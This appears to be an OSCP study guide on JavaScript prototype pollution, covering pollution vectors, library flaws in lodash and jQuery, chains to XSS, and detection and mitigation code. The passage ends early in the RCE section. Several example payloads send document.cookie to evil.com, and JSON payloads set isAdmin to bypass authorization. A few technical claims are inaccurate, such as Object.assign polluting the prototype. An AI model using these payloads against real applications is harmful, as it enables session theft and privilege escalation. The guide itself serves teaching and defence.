Domain 3Exploit Dev & AV EvasionCORE

Prototype Pollution

Comprehensive guide to JavaScript prototype pollution attacks including __proto__ manipulation, constructor.prototype abuse, library-specific vulnerabilities, pollution-to-XSS chains, and mitigation strategies for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Prototype-Pollution#JavaScript#Object-Prototype#XSS#RCE

Prototype Pollution

Table of Contents

  1. Fundamentals
    • 1.1 What Is Prototype Pollution?
    • 1.2 JavaScript Object Inheritance Model
    • 1.3 The Prototype Chain Explained
    • 1.4 Why Pollution Affects ALL Objects
  2. How Prototype Pollution Works
    • 2.1 Normal Object Behavior
    • 2.2 Polluted Object Behavior
    • 2.3 Step-by-Step Demonstration
    • 2.4 Visual Prototype Chain
  3. All Pollution Vectors
    • 3.1 __proto__ via JSON.parse
    • 3.2 constructor.prototype Direct Assignment
    • 3.3 Object.prototype Direct Assignment
    • 3.4 Deep Merge Function Abuse
    • 3.5 Lodash Merge Vulnerability
    • 3.6 jQuery Extend Vulnerability
  4. Prototype Pollution to XSS
    • 4.1 Polluting Array.prototype.join
    • 4.2 Polluting toString
    • 4.3 Polluting valueOf
    • 4.4 Chaining to Code Execution
  5. Prototype Pollution to RCE
    • 5.1 Server-Side Prototype Pollution
    • 5.2 Express.js Template Engine Abuse
    • 5.3 Child Process Exploitation
  6. Detection Methodology
    • 6.1 Checking for Polluted Properties
    • 6.2 Common Pollution Targets
    • 6.3 Automated Detection Scripts
  7. Mitigation Strategies
    • 7.1 Object.freeze(Object.prototype)
    • 7.2 Object.create(null)
    • 7.3 Schema Validation
    • 7.4 Safe Merge Implementations
    • 7.5 Property Checks for __proto__
    • 7.6 Library Updates
  8. OSCP-Specific Tips and Lab Scenarios
  9. Quick Reference Cheat Sheet
  10. References and Further Reading

1. Fundamentals

1.1 What Is Prototype Pollution?

Prototype Pollution is a JavaScript-specific vulnerability that allows an attacker to modify the prototype of built-in JavaScript objects (such as Object, Array, String, etc.). Because JavaScript uses prototype-based inheritance, modifying a prototype property affects all objects that inherit from that prototype — potentially leading to:

  • Cross-Site Scripting (XSS) — by polluting properties used in HTML rendering
  • Remote Code Execution (RCE) — by polluting server-side logic
  • Denial of Service (DoS) — by breaking core object behavior
  • Privilege Escalation — by adding/overwriting authorization properties

Why It Works

JavaScript objects inherit properties from their prototype chain. When you access a property on an object:

  1. JavaScript first checks if the property exists on the object itself
  2. If not found, it looks up the prototype chain (__proto__)
  3. This continues until Object.prototype is reached (the top of the chain)
  4. If still not found, undefined is returned

If an attacker can inject properties into Object.prototype, those properties become visible on every object in the application.

Key Insight

The core danger: A single pollution of Object.prototype affects the entire JavaScript runtime. Every object created before, during, or after the pollution will inherit the polluted properties.


1.2 JavaScript Object Inheritance Model

JavaScript uses prototype-based inheritance rather than class-based inheritance. Understanding this model is essential to understanding prototype pollution.

The Prototype Chain

myObject
    │
    ├── __proto__ ──> Array.prototype (if myObject is an array)
    │                       │
    │                       ├── __proto__ ──> Object.prototype
    │                       │                       │
    │                       │                       └── __proto__ ──> null
    │                       │
    │                       └── methods: push(), pop(), join(), etc.
    │
    └── own properties: 0, 1, 2, length, etc.

Key Concepts

Concept Description
__proto__ Internal link to an object’s prototype (accessor property on Object.prototype)
prototype Property on functions that becomes the __proto__ of instances created with new
Object.prototype The top of the prototype chain for most objects
null The end of the prototype chain
hasOwnProperty() Checks if a property exists on the object itself (not inherited)
Object.getPrototypeOf() Standard way to get an object’s prototype

Example: Normal Inheritance

// Creating an object
const user = { name: "Alice" };

// Accessing own property
console.log(user.name);        // "Alice" — found on the object itself

// Accessing inherited property
console.log(user.toString);    // function toString() { [native code] }
                               // NOT on 'user', but inherited from Object.prototype

// Checking ownership
console.log(user.hasOwnProperty('name'));     // true  (own property)
console.log(user.hasOwnProperty('toString')); // false (inherited property)

1.3 The Prototype Chain Explained

How Property Lookup Works

When you access obj.prop, JavaScript performs the following lookup:

Step 1: Does obj have 'prop' as an own property?
    YES → Return obj.prop
    NO  → Step 2

Step 2: Does obj.__proto__ have 'prop'?
    YES → Return obj.__proto__.prop
    NO  → Step 3

Step 3: Does obj.__proto__.__proto__ have 'prop'?
    YES → Return obj.__proto__.__proto__.prop
    NO  → Continue up the chain...

Step N: Reached Object.prototype?
    YES → Check Object.prototype for 'prop'
    NO  → Return undefined

Visual Representation

┌─────────────────────────────────────────────────┐
│              Property Lookup Chain               │
├─────────────────────────────────────────────────┤
│                                                 │
│  const arr = [1, 2, 3];                         │
│  arr.customProp                                  │
│                                                 │
│  ┌──────────┐                                   │
│  │   arr    │  → Has 'customProp'? NO           │
│  └────┬─────┘                                   │
│       │ __proto__                               │
│       ▼                                         │
│  ┌──────────────────┐                           │
│  │Array.prototype   │  → Has 'customProp'? NO   │
│  └────────┬─────────┘                           │
│           │ __proto__                            │
│           ▼                                      │
│  ┌──────────────────┐                           │
│  │Object.prototype  │  → Has 'customProp'?      │
│  │                  │     NORMAL: NO → undefined │
│  │                  │     POLLUTED: YES → ATTACK │
│  └────────┬─────────┘                           │
│           │ __proto__                            │
│           ▼                                      │
│  ┌──────────┐                                    │
│  │   null   │  → End of chain                    │
│  └──────────┘                                    │
│                                                 │
└─────────────────────────────────────────────────┘

1.4 Why Pollution Affects ALL Objects

When you pollute Object.prototype, you are modifying the root of the prototype chain for almost all JavaScript objects.

Demonstration

// BEFORE pollution
const a = {};
const b = {};
const c = [];

console.log(a.isAdmin);  // undefined
console.log(b.isAdmin);  // undefined
console.log(c.isAdmin);  // undefined

// POLLUTION occurs
Object.prototype.isAdmin = true;

// AFTER pollution — ALL objects affected
console.log(a.isAdmin);  // true  ← POLLUTED
console.log(b.isAdmin);  // true  ← POLLUTED
console.log(c.isAdmin);  // true  ← POLLUTED

// Even newly created objects are affected
const d = {};
console.log(d.isAdmin);  // true  ← POLLUTED too

Real-World Impact

// An authorization check that can be bypassed
function checkAdmin(user) {
    if (user.isAdmin) {
        return grantAdminAccess();
    }
    return denyAccess();
}

// Normal user object
const user = { username: "attacker", role: "guest" };

// BEFORE pollution
checkAdmin(user);  // denyAccess() — correct behavior

// AFTER pollution: Object.prototype.isAdmin = true
checkAdmin(user);  // grantAdminAccess() — SECURITY BYPASS!

2. How Prototype Pollution Works

2.1 Normal Object Behavior

In a healthy JavaScript environment, objects only have their own properties and inherit from their intended prototypes.

// Normal object creation
const config = {
    theme: "dark",
    language: "en"
};

// Only own properties exist
console.log(Object.keys(config));
// Output: ["theme", "language"]

// Inherited properties come from Object.prototype
console.log(config.toString);
// Output: function toString() { [native code] }

// No unexpected properties
console.log(config.isAdmin);
// Output: undefined

2.2 Polluted Object Behavior

After prototype pollution, objects gain unexpected inherited properties.

// Pollution happens (via attacker-controlled input)
Object.prototype.isAdmin = true;
Object.prototype.theme = "hacked";

// Now ALL objects are affected
const config = {
    theme: "dark",
    language: "en"
};

console.log(config.isAdmin);  // true ← INJECTED via prototype
console.log(config.theme);    // "dark" ← own property shadows prototype

// But objects without the own property get the polluted value
const empty = {};
console.log(empty.theme);     // "hacked" ← from polluted prototype
console.log(empty.isAdmin);   // true ← from polluted prototype

2.3 Step-by-Step Demonstration

Step 1: Vulnerable Application Code

// A typical vulnerable pattern: merging user input into config
function merge(target, source) {
    for (let key in source) {
        if (typeof target[key] === 'object' && typeof source[key] === 'object') {
            merge(target[key], source[key]);  // Recursive merge
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Application config
const appConfig = {
    ui: {
        theme: "light",
        fontSize: 14
    },
    auth: {
        requireLogin: true
    }
};

Step 2: Attacker-Crafted Input

// Attacker controls this input (e.g., via URL parameter, API request)
const userInput = {
    "__proto__": {
        "isAdmin": true,
        "role": "admin"
    }
};

Step 3: The Merge Happens

// Application merges user input into config
merge(appConfig, userInput);

// What happens internally:
// 1. Loop finds key "__proto__" in userInput
// 2. target["__proto__"] resolves to Object.prototype
// 3. source["__proto__"] is { isAdmin: true, role: "admin" }
// 4. Both are objects, so recursive merge is called:
//    merge(Object.prototype, { isAdmin: true, role: "admin" })
// 5. This sets Object.prototype.isAdmin = true
//    and Object.prototype.role = "admin"

Step 4: Pollution Takes Effect

// Now EVERY object in the application is polluted
const user1 = {};
const user2 = { username: "legitimate_user" };
const user3 = [];

console.log(user1.isAdmin);   // true ← POLLUTED
console.log(user2.isAdmin);   // true ← POLLUTED
console.log(user3.isAdmin);   // true ← POLLUTED

// Authorization bypass
if (user2.isAdmin) {
    console.log("Admin access granted!");  // EXECUTES — SECURITY FAILURE
}

2.4 Visual Prototype Chain

Before Pollution

┌──────────────────────────────────────────────────────┐
│              BEFORE POLLUTION                         │
├──────────────────────────────────────────────────────┤
│                                                      │
│  const obj = { name: "Alice" };                      │
│                                                      │
│  obj ──> { name: "Alice" }                           │
│       │                                              │
│       └── __proto__ ──> Object.prototype             │
│                            │                          │
│                            ├── toString()             │
│                            ├── valueOf()              │
│                            ├── hasOwnProperty()       │
│                            └── ...                    │
│                                                      │
│  obj.isAdmin → undefined ✓ (safe)                    │
│                                                      │
└──────────────────────────────────────────────────────┘

After Pollution

┌──────────────────────────────────────────────────────┐
│              AFTER POLLUTION                          │
├──────────────────────────────────────────────────────┤
│                                                      │
│  const obj = { name: "Alice" };                      │
│                                                      │
│  obj ──> { name: "Alice" }                           │
│       │                                              │
│       └── __proto__ ──> Object.prototype             │
│                            │                          │
│                            ├── toString()             │
│                            ├── valueOf()              │
│                            ├── hasOwnProperty()       │
│                            ├── isAdmin: true  ← POLLUTED │
│                            ├── role: "admin"  ← POLLUTED │
│                            └── ...                    │
│                                                      │
│  obj.isAdmin → true ✗ (SECURITY BYPASS!)             │
│                                                      │
└──────────────────────────────────────────────────────┘

3. All Pollution Vectors

3.1 __proto__ via JSON.parse

This is the most common prototype pollution vector. The __proto__ property is a special accessor on Object.prototype that gets/sets an object’s prototype.

How It Works

// When you set obj.__proto__, you're actually setting obj's prototype
const obj = {};
obj.__proto__ = { hacked: true };

// Now obj inherits 'hacked'
console.log(obj.hacked);  // true

// But more dangerously, if obj.__proto__ IS Object.prototype:
const empty = {};
// empty.__proto__ === Object.prototype  (true)

// So setting empty.__proto__.hacked modifies Object.prototype itself
empty.__proto__.hacked = true;
// Now ALL objects have .hacked === true

Via JSON.parse (Remote Attack Vector)

// Attacker sends this JSON payload (via API, URL param, etc.)
const payload = '{"__proto__": {"isAdmin": true}}';

// Application parses and uses it
const data = JSON.parse(payload);
// data = { __proto__: { isAdmin: true } }

// If this data is merged into any object, pollution occurs
const config = {};
Object.assign(config, data);
// config.__proto__ = { isAdmin: true }
// This modifies Object.prototype.isAdmin = true

// Verification
console.log({}.isAdmin);  // true ← POLLUTED

Complete Attack Example

// ===== VULNERABLE APPLICATION =====
// API endpoint that accepts user preferences
app.post('/api/preferences', (req, res) => {
    const userPrefs = req.body;  // Attacker controls this
    const defaultPrefs = { theme: 'light', lang: 'en' };
    
    // Vulnerable merge
    const merged = merge(defaultPrefs, userPrefs);
    
    res.json({ success: true, preferences: merged });
});

// ===== ATTACKER PAYLOAD =====
// POST /api/preferences
// Content-Type: application/json
{
    "__proto__": {
        "isAdmin": true,
        "role": "superadmin",
        "permissions": ["read", "write", "delete", "execute"]
    }
}

// ===== RESULT =====
// Object.prototype.isAdmin = true
// Object.prototype.role = "superadmin"
// Object.prototype.permissions = ["read", "write", "delete", "execute"]
// ALL objects in the application now have these properties

Detection

// Check if __proto__ is being used in input
function detectProtoPollution(obj) {
    if (obj && typeof obj === 'object') {
        if ('__proto__' in obj) {
            console.warn('Potential prototype pollution: __proto__ detected');
            return true;
        }
        if ('constructor' in obj && 'prototype' in obj.constructor) {
            console.warn('Potential prototype pollution: constructor.prototype detected');
            return true;
        }
    }
    return false;
}

Mitigation

// Block __proto__ in JSON parsing
function safeJSONParse(str) {
    const obj = JSON.parse(str);
    return sanitizeObject(obj);
}

function sanitizeObject(obj) {
    if (obj === null || typeof obj !== 'object') {
        return obj;
    }
    
    // Remove dangerous properties
    const sanitized = Array.isArray(obj) ? [] : {};
    
    for (const key of Object.keys(obj)) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            console.warn(`Blocked dangerous key: ${key}`);
            continue;  // Skip dangerous keys
        }
        sanitized[key] = sanitizeObject(obj[key]);  // Recursive sanitization
    }
    
    return sanitized;
}

3.2 constructor.prototype Direct Assignment

Every JavaScript object has a constructor property that references the function that created it. That function has a prototype property. This provides an alternative path to pollute the prototype.

How It Works

// Every object has a constructor
const obj = {};
console.log(obj.constructor);        // function Object() { [native code] }
console.log(obj.constructor === Object);  // true

// The constructor has a prototype property
console.log(obj.constructor.prototype);  // Object.prototype

// So we can reach Object.prototype via:
obj.constructor.prototype.polluted = true;
// This is equivalent to: Object.prototype.polluted = true

// Verification
console.log({}.polluted);  // true ← POLLUTED

Via JSON.parse

// Attacker payload using constructor.prototype
const payload = '{"constructor": {"prototype": {"isAdmin": true}}}';

// But JSON.parse alone won't work because 'constructor' is just a regular key
// The pollution happens when this is merged into an object

const userInput = JSON.parse(payload);
// userInput = { constructor: { prototype: { isAdmin: true } } }

// If merged into an existing object:
const target = {};
merge(target, userInput);

// During merge:
// target.constructor = { prototype: { isAdmin: true } }
// But target.constructor IS Object (the function)
// So Object.prototype.isAdmin = true  ← POLLUTION!

Direct Exploitation

// Direct pollution without merge
const obj = {};
obj.constructor.prototype.isAdmin = true;

// Verification
console.log({}.isAdmin);           // true
console.log([].isAdmin);           // true
console.log({}.constructor === Object);  // true

Chained Access

// Multiple levels of chaining
const obj = {};

// Path 1: Direct
obj.constructor.prototype.hacked1 = true;

// Path 2: Via __proto__
obj.__proto__.hacked2 = true;

// Path 3: Via Object.getPrototypeOf
Object.getPrototypeOf(obj).hacked3 = true;

// All achieve the same result
console.log({}.hacked1);  // true
console.log({}.hacked2);  // true
console.log({}.hacked3);  // true

Detection

function detectConstructorPollution(obj) {
    // Check if constructor.prototype is being manipulated
    if (obj && typeof obj === 'object') {
        if (obj.constructor && obj.constructor.prototype) {
            // Check for unexpected properties on prototype
            const protoKeys = Object.keys(obj.constructor.prototype);
            const expectedKeys = Object.keys(Object.prototype);
            
            for (const key of protoKeys) {
                if (!expectedKeys.includes(key)) {
                    console.warn(`Suspicious property on prototype: ${key}`);
                    return true;
                }
            }
        }
    }
    return false;
}

Mitigation

// Freeze Object.prototype to prevent modification
Object.freeze(Object.prototype);

// Now these will fail silently (or throw in strict mode)
const obj = {};
obj.constructor.prototype.isAdmin = true;  // No effect (frozen)
console.log({}.isAdmin);  // undefined ← SAFE

// In strict mode, it throws:
'use strict';
Object.freeze(Object.prototype);
obj.constructor.prototype.isAdmin = true;  // TypeError: Cannot add property isAdmin

3.3 Object.prototype Direct Assignment

The most direct way to pollute — assigning directly to Object.prototype.

How It Works

// Direct assignment to Object.prototype
Object.prototype.isAdmin = true;
Object.prototype.role = "admin";

// Every object is now affected
console.log({}.isAdmin);    // true
console.log([].isAdmin);    // true
console.log("".isAdmin);    // true (even primitives get boxed)

When Is This Possible?

Direct assignment to Object.prototype requires the application to execute code that does this. Common scenarios:

// Scenario 1: Dynamic property assignment from user input
const propName = userInput.property;   // Attacker controls this
const value = userInput.value;         // Attacker controls this

// If propName = "Object.prototype.isAdmin"
// and the app does:
eval(`${propName} = ${value}`);       // DANGEROUS!

// Scenario 2: Bracket notation with controlled key
const target = Object.prototype;       // App references prototype directly
target[userInput.key] = userInput.value;  // If key = "isAdmin", POLLUTION!

// Scenario 3: Through a library that doesn't sanitize
someLibrary.setGlobalProperty(userInput.key, userInput.value);

Via Dynamic Property Access

// Vulnerable pattern: dynamic property setting
function setProperty(obj, path, value) {
    const parts = path.split('.');
    let current = obj;
    
    for (let i = 0; i < parts.length - 1; i++) {
        current = current[parts[i]];
    }
    
    current[parts[parts.length - 1]] = value;
}

// Attacker input
setProperty(window, 'Object.prototype.isAdmin', true);
// Result: Object.prototype.isAdmin = true ← POLLUTION!

Detection

// Monitor Object.prototype for changes
const originalKeys = new Set(Object.keys(Object.prototype));

function checkPrototypeIntegrity() {
    const currentKeys = new Set(Object.keys(Object.prototype));
    
    for (const key of currentKeys) {
        if (!originalKeys.has(key)) {
            console.error(`Prototype polluted! New property: ${key}`);
            console.error(`Value: ${Object.prototype[key]}`);
            return true;
        }
    }
    return false;
}

// Run periodically
setInterval(checkPrototypeIntegrity, 5000);

Mitigation

// Freeze Object.prototype early in application lifecycle
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(String.prototype);
Object.freeze(Number.prototype);
Object.freeze(Boolean.prototype);

// This prevents ALL modifications to built-in prototypes
Object.prototype.isAdmin = true;  // Silent failure (or throws in strict mode)

3.4 Deep Merge Function Abuse

Deep merge functions are one of the most common sources of prototype pollution vulnerabilities because they recursively copy properties without checking for dangerous keys.

Vulnerable Deep Merge Implementation

// ===== VULNERABLE IMPLEMENTATION =====
function deepMerge(target, source) {
    for (const key in source) {
        if (source.hasOwnProperty(key)) {
            if (typeof source[key] === 'object' && source[key] !== null) {
                if (typeof target[key] !== 'object' || target[key] === null) {
                    target[key] = Array.isArray(source[key]) ? [] : {};
                }
                deepMerge(target[key], source[key]);  // Recursive — DANGEROUS
            } else {
                target[key] = source[key];
            }
        }
    }
    return target;
}

Why It’s Vulnerable

// The vulnerability: when key is "__proto__"
const target = {};
const source = { "__proto__": { "isAdmin": true } };

deepMerge(target, source);

// What happens:
// 1. key = "__proto__"
// 2. source["__proto__"] = { isAdmin: true } (an object)
// 3. target["__proto__"] resolves to Object.prototype
// 4. deepMerge(Object.prototype, { isAdmin: true }) is called
// 5. Object.prototype.isAdmin = true  ← POLLUTION!

Step-by-Step Trace

deepMerge({}, { "__proto__": { "isAdmin": true } })
│
├─ Loop: key = "__proto__"
│  ├─ source["__proto__"] = { isAdmin: true }
│  ├─ typeof source["__proto__"] === 'object' → true
│  ├─ target["__proto__"] → resolves to Object.prototype
│  ├─ typeof Object.prototype === 'object' → true
│  └─ RECURSIVE CALL:
│     deepMerge(Object.prototype, { isAdmin: true })
│     │
│     └─ Loop: key = "isAdmin"
│        └─ Object.prototype["isAdmin"] = true  ← POLLUTION!
│
└─ Return target

Safe Deep Merge Implementation

// ===== SAFE IMPLEMENTATION =====
function safeDeepMerge(target, source) {
    const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
    
    for (const key in source) {
        if (!source.hasOwnProperty(key)) continue;
        
        // Block dangerous keys
        if (DANGEROUS_KEYS.has(key)) {
            console.warn(`Blocked dangerous key in merge: ${key}`);
            continue;
        }
        
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (typeof target[key] !== 'object' || target[key] === null) {
                target[key] = Array.isArray(source[key]) ? [] : {};
            }
            safeDeepMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

3.5 Lodash Merge Vulnerability

Lodash’s merge() function was vulnerable to prototype pollution in versions before 4.17.20. This is one of the most exploited vulnerabilities in the wild.

Vulnerable Version

// Lodash < 4.17.20
const _ = require('lodash');

const target = {};
const source = { "__proto__": { "isAdmin": true } };

_.merge(target, source);

// Result: Object.prototype.isAdmin = true
console.log({}.isAdmin);  // true ← POLLUTED

Why Lodash Was Vulnerable

// Simplified view of vulnerable lodash merge logic
function merge(target, source) {
    for (const key in source) {
        if (isPlainObject(source[key]) && isPlainObject(target[key])) {
            merge(target[key], source[key]);  // No check for __proto__
        } else {
            target[key] = source[key];
        }
    }
}

// When key = "__proto__":
// target["__proto__"] → Object.prototype
// source["__proto__"] → { isAdmin: true }
// Both are plain objects → recursive merge
// merge(Object.prototype, { isAdmin: true })
// → Object.prototype.isAdmin = true

Alternative Lodash Payloads

// Payload 1: __proto__
_.merge({}, { "__proto__": { "isAdmin": true } });

// Payload 2: constructor.prototype
_.merge({}, { "constructor": { "prototype": { "isAdmin": true } } });

// Payload 3: Nested pollution
_.merge({}, {
    "a": {
        "__proto__": {
            "isAdmin": true
        }
    }
});

Fixed Version

// Lodash >= 4.17.20 blocks prototype pollution
const _ = require('lodash');  // Make sure version >= 4.17.20

const target = {};
const source = { "__proto__": { "isAdmin": true } };

_.merge(target, source);

console.log({}.isAdmin);  // undefined ← SAFE (blocked)

Detection for Lodash

// Check lodash version
const _ = require('lodash');
console.log(_.VERSION);  // Should be >= 4.17.20

// Check package.json
// "lodash": ">=4.17.20"

// Runtime check
function isLodashSafe() {
    const _ = require('lodash');
    const version = _.VERSION.split('.').map(Number);
    return version[0] > 4 || 
           (version[0] === 4 && version[1] > 17) ||
           (version[0] === 4 && version[1] === 17 && version[2] >= 20);
}

3.6 jQuery Extend Vulnerability

jQuery’s $.extend() function with deep: true was vulnerable to prototype pollution.

Vulnerable Code

// jQuery < 3.4.0 (approximately)
const target = {};
const source = { "__proto__": { "isAdmin": true } };

$.extend(true, target, source);  // deep = true

// Result: Object.prototype.isAdmin = true
console.log({}.isAdmin);  // true ← POLLUTED

Why It’s Vulnerable

// jQuery's deep extend recursively copies properties
// When it encounters "__proto__", it follows the reference
// to Object.prototype and merges into it

$.extend(true, {}, {
    "__proto__": {
        "polluted": true
    }
});

// Internal flow:
// 1. Deep extend sees key "__proto__"
// 2. target["__proto__"] → Object.prototype
// 3. source["__proto__"] → { polluted: true }
// 4. Both are objects → recursive extend
// 5. Object.prototype.polluted = true

Alternative jQuery Payloads

// Via constructor
$.extend(true, {}, {
    "constructor": {
        "prototype": {
            "isAdmin": true
        }
    }
});

// Via nested object
$.extend(true, {}, {
    "level1": {
        "__proto__": {
            "isAdmin": true
        }
    }
});

Fixed Version

// jQuery >= 3.4.0 patches this vulnerability
// Always use the latest version

// Alternative: Use shallow extend when deep is not needed
$.extend(false, target, source);  // Shallow — no recursion

// Or use Object.assign (shallow, no prototype pollution)
Object.assign(target, source);

4. Prototype Pollution to XSS

Prototype pollution becomes extremely dangerous when it can be chained to Cross-Site Scripting (XSS). By polluting prototype methods that are called during HTML rendering, attackers can inject malicious scripts.

4.1 Polluting Array.prototype.join

The join() method is called when arrays are converted to strings, which happens frequently in template rendering.

How It Works

// Normal behavior
const arr = ['<li>', 'Item 1', '</li>'];
console.log(arr.join(''));
// Output: "<li>Item 1</li>"

// After pollution
Array.prototype.join = function() {
    return '<script>alert("XSS")</script>';
};

// Now any array.join() returns malicious content
const arr = ['<li>', 'Item 1', '</li>'];
console.log(arr.join(''));
// Output: "<script>alert("XSS")</script>"

Real-World Attack Scenario

// ===== VULNERABLE APPLICATION =====
// Server renders a list of items
function renderItems(items) {
    const html = '<ul>' + items.join('') + '</ul>';
    return html;
}

const items = ['<li>Home</li>', '<li>About</li>', '<li>Contact</li>'];
const page = renderItems(items);
// Normal: "<ul><li>Home</li><li>About</li><li>Contact</li></ul>"

// ===== ATTACK =====
// Step 1: Pollute Array.prototype.join via prototype pollution
const payload = {
    "__proto__": {
        // Can't directly pollute Array.prototype via Object.prototype
        // But if the app merges into an array's context...
    }
};

// More realistic: pollute through a library that uses join
// Or pollute Object.prototype.toString which affects array stringification

// ===== ALTERNATIVE: Pollute toString =====
Object.prototype.toString = function() {
    return '<script>alert("XSS")</script>';
};

// When an object is concatenated with a string, toString() is called
const user = { name: "Alice" };
const greeting = "Hello, " + user;  // toString() called on user
// greeting = "Hello, <script>alert("XSS")</script>"

Complete XSS Chain

// Step 1: Prototype pollution occurs (via API, URL param, etc.)
Object.prototype.toString = function() {
    return '"><script>document.location="http://evil.com/steal?c="+document.cookie</script>';
};

// Step 2: Application renders user data
function renderUserProfile(user) {
    // User object gets stringified via concatenation
    return '<div class="user">' + user + '</div>';
}

// Step 3: Malicious HTML is injected
const user = { name: "Alice", email: "alice@example.com" };
const html = renderUserProfile(user);
// html = '<div class="user">"><script>document.location="http://evil.com/steal?c="+document.cookie</script></div>'

// Step 4: Browser executes the script → XSS!

Detection

// Check if Array.prototype.join has been modified
function checkJoinIntegrity() {
    const arr = ['a', 'b', 'c'];
    const result = arr.join(',');
    const expected = 'a,b,c';
    
    if (result !== expected) {
        console.error('Array.prototype.join has been polluted!');
        console.error('Expected:', expected);
        console.error('Got:', result);
        return true;
    }
    return false;
}

// Check Object.prototype.toString
function checkToStringIntegrity() {
    const obj = { test: 'value' };
    const result = obj.toString();
    const expected = '[object Object]';
    
    if (result !== expected) {
        console.error('Object.prototype.toString has been polluted!');
        return true;
    }
    return false;
}

Mitigation

// Freeze built-in prototypes
Object.freeze(Array.prototype);
Object.freeze(Object.prototype);

// Use safe string conversion
function safeToString(obj) {
    if (obj === null || obj === undefined) {
        return '';
    }
    // Use Object.prototype.toString.call to bypass polluted toString
    return Object.prototype.toString.call(obj);
}

// Use template literals or proper escaping
function safeRender(user) {
    const escapedName = escapeHtml(user.name);
    return `<div class="user">${escapedName}</div>`;
}

function escapeHtml(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

4.2 Polluting toString

The toString() method is called implicitly whenever an object is converted to a string.

How It Works

// Normal behavior
const obj = { name: "Alice" };
console.log(String(obj));       // "[object Object]"
console.log("" + obj);          // "[object Object]"
console.log(`${obj}`);          // "[object Object]"

// After pollution
Object.prototype.toString = function() {
    return '<img src=x onerror=alert("XSS")>';
};

// Now any object-to-string conversion returns malicious HTML
console.log(String(obj));       // "<img src=x onerror=alert("XSS")>"
console.log("" + obj);          // "<img src=x onerror=alert("XSS")>"

Implicit toString Calls

// These all call toString() on objects:

// 1. String concatenation
const msg = "User: " + userObject;

// 2. Template literals
const msg = `User: ${userObject}`;

// 3. String() function
const msg = String(userObject);

// 4. Alert / console.log (in some contexts)
alert(userObject);

// 5. DOM insertion
element.innerHTML = userObject;

// 6. URL construction
const url = "/profile/" + userObject;

Attack Example

// ===== POLLUTION =====
// Via JSON input
const payload = JSON.parse('{"__proto__": {"toString": "() => { return \\'<script>alert(1)</script>\\'; }"}}');

// Or directly (if code execution is possible)
Object.prototype.toString = function() {
    return '<script>new Image().src="http://evil.com/?c="+document.cookie</script>';
};

// ===== APPLICATION RENDERING =====
function showNotification(message) {
    // message might be an object
    document.getElementById('notification').innerHTML = 
        '<div class="notify">' + message + '</div>';
}

// ===== ATTACK =====
showNotification({ type: 'info', text: 'Welcome' });
// The object's toString() is called during concatenation
// Returns: "<script>new Image().src="http://evil.com/?c="+document.cookie</script>"
// This gets injected into innerHTML → XSS!

Detection

// Save original toString
const originalToString = Object.prototype.toString;

// Check periodically
function monitorToString() {
    if (Object.prototype.toString !== originalToString) {
        console.error('Object.prototype.toString has been modified!');
        // Restore original
        Object.prototype.toString = originalToString;
        return true;
    }
    return false;
}

4.3 Polluting valueOf

The valueOf() method is called when an object is converted to a primitive value.

How It Works

// Normal behavior
const obj = { name: "Alice" };
console.log(obj.valueOf());      // { name: "Alice" } (returns the object itself)

// After pollution
Object.prototype.valueOf = function() {
    return '<script>alert("XSS")</script>';
};

// Now valueOf returns malicious content
console.log(obj.valueOf());      // "<script>alert("XSS")</script>"

When valueOf Is Called

// valueOf is called in numeric contexts and some string contexts

// 1. Arithmetic operations
const obj = {};
Object.prototype.valueOf = () => 42;
console.log(obj + 1);  // 43 (valueOf returns 42, then 42 + 1)

// 2. Comparison operations
const a = {};
const b = {};
Object.prototype.valueOf = () => 1;
console.log(a < b);  // false (1 < 1)

// 3. Explicit conversion
Number(obj);   // Calls valueOf()
+obj;          // Calls valueOf()

XSS via valueOf

// Pollute valueOf to return HTML
Object.prototype.valueOf = function() {
    return '"><script>alert("XSS")</script><input value="';
};

// Application uses object in a form
function renderInput(field) {
    return `<input value="${field}" />`;
}

const field = { name: "username", value: "admin" };
const html = renderInput(field);
// valueOf() called during template literal interpolation
// html = '<input value=""><script>alert("XSS")</script><input value="" />'
// → XSS!

4.4 Chaining to Code Execution

Combining prototype pollution with other vulnerabilities can lead to full code execution.

Chain 1: Pollution → eval()

// Step 1: Pollute a property that gets passed to eval()
Object.prototype.cmd = 'alert("XSS")';

// Step 2: Vulnerable application code
function executeCommand(userCmd) {
    eval(userCmd);  // Dangerous!
}

// If the app does:
executeCommand(someObject.cmd);  // eval('alert("XSS")') → EXECUTES!

Chain 2: Pollution → Function Constructor

// Step 1: Pollute
Object.prototype.code = 'alert("XSS")';

// Step 2: Vulnerable code using Function constructor
function runUserCode(userFn) {
    const fn = new Function(userFn);
    fn();
}

runUserCode(someObject.code);  // Executes alert("XSS")

Chain 3: Pollution → setTimeout/setInterval

// Step 1: Pollute
Object.prototype.handler = 'alert("XSS")';

// Step 2: Vulnerable code
setTimeout(someObject.handler, 1000);  // Executes after 1 second

Chain 4: Pollution → DOM Manipulation

// Step 1: Pollute innerHTML-related properties
Object.prototype.innerHTML = '<script>alert("XSS")</script>';

// Step 2: Application renders content
element.innerHTML = userData.innerHTML;  // Injects malicious script

Complete Attack Chain Example

// ===== PHASE 1: POLLUTION =====
// Attacker sends payload via API
// POST /api/config
{
    "__proto__": {
        "toString": "() => { return '"><script>fetch(\"http://evil.com/steal?c=\"+document.cookie)</script><span>' }"
    }
}

// ===== PHASE 2: APPLICATION USES POLLUTED OBJECT =====
function renderUserBadge(user) {
    // user is an object, toString() called during concatenation
    return '<span class="badge">' + user + '</span>';
}

// ===== PHASE 3: XSS EXECUTION =====
const badge = renderUserBadge(currentUser);
// badge = '<span class="badge">"><script>fetch("http://evil.com/steal?c="+document.cookie)</script><span></span>'
// Browser parses this as:
// <span class="badge">"</span>
// <script>fetch("http://evil.com/steal?c="+document.cookie)</script>
// <span></span>
// → Script executes → Cookie stolen!

5. Prototype Pollution to RCE

While prototype pollution is primarily a client-side concern, it can lead to Remote Code Execution (RCE) when it occurs on the server side (Node.js).

5.1 Server-Side Prototype Pollution

In Node.js applications, prototype pollution can affect server-side logic, leading to RCE.

How Server-Side Pollution Differs

Aspect Client-Side Server-Side
